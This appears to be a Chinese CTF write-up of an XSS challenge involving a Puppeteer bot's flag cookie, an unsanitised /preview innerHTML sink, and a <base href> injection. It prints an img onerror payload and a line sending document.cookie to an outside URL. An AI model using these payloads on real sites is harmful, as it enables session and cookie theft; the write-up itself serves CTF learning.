这道题说实话挺简单的,不是什么猎奇抽象xssleak,可能是国内的比赛xss确实考的少吧,我比较喜欢打国际赛。

一开始ai跟我说这里有语法错误,然后我一顿看Puppeteer的源代码发现其实没错误。

    // 尝试为浏览器设置cookie(注意:setCookie方法应在page对象上调用,这里可能有误)
    await browser.setCookie({
        name: 'flag',
        value: FLAG,
        domain: HOST,
        path: '/',
        httpOnly: false
    });

映射容器内node_modules的代码查看源代码的setCookie


  1. bot.js文件中,第19-26行的代码尝试在浏览器实例上调用setCookie方法:
// 尝试为浏览器设置cookie(注意:setCookie方法应在page对象上调用,这里可能有误)
await browser.setCookie({
    name: 'flag',
    value: FLAG,
    domain: HOST,
    path: '/',
    httpOnly: false
});
  1. 从puppeteer的源代码中可以看到,Browser类确实有一个setCookie方法,但它实际上是一个代理方法,会将调用转发到默认的浏览器上下文:
setCookie(...cookies) {
    return await this.defaultBrowserContext().setCookie(...cookies);
}

domain应该是完整的域名,而不是带端口的字符串,当携带端口时会发生什么?


Chromium 这一路实际会“吃掉端口”,因此看起来“确实被设置了”。

  • Puppeteer 这层不会校验域名是否含端口,而是原样转发到 CDP 的 Storage.setCookies(无返回 success/错误码,不会抛错):
async setCookie(...cookies) {
    return await this.defaultBrowserContext().setCookie(...cookies);
}
override async setCookie(...cookies: CookieData[]): Promise<void> {
  return await this.#connection.send('Storage.setCookies', {
    browserContextId: this.#id,
    cookies: cookies.map(cookie => ({
      ...cookie,
      partitionKey: convertCookiesPartitionKeyFromPuppeteerToCdp(cookie.partitionKey),
    })),
  });
}
export interface SetCookiesRequest {
    cookies: Network.CookieParam[];
    browserContextId?: Browser.BrowserContextID;
}
  • 真正的“端口处理”发生在 Chromium 内核(CDP 后端)里:当 domain 带端口(如 localhost:3000)时,会被规范化为不带端口的主机名(例如 localhost),或作为“host-only”存储。由于 Storage.setCookies 无成功返回体,这个规范化是静默完成的,所以你看到“被设置”且无报错是预期表现。

如何快速验证规范化结果

  • 设完后读取上下文 cookies,看实际存储的 domain
const list = await browser.defaultBrowserContext().cookies();
console.log(list.find(c => c.name === 'flag'));
// 你会看到 domain 实际是 'localhost'(不含端口)

我当时想的是用ChromeDriver API,然后发现Puppeteer根本没api

然后就算主页面的地方,有个/preview可以绕

/preview?index=0&content=\x3cimg src=x onerror=alert(1)\x3e

    (function(){
        const el = document.getElementById('note-0');
        if (!el) return;
        const text = '\x3cimg src=x onerror=alert(1)\x3e';
        if (text.length > 50) {
            el.innerHTML = text.slice(0,50) + '...';
        } else {
            el.innerHTML = text;
        }
    })();

然后最幽默的一点是,我当时第一时间想的就是baseurl,然后deepseek瞎扯跟我说在div里影响不到外面,直接导致我完全偏离正确轨道疯狂尝试命名空间混淆突破div,研究几个小时没研究出来

到了晚上这题竟然还没解,私聊出题人跟我说比较接近了,然后我就试了一下baseurl,发现竟然能行。。。

然后就没难度了

<base href="https://url/">
location.href = 'https://url/?c=' + document.cookie;

真不能信ai…

Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐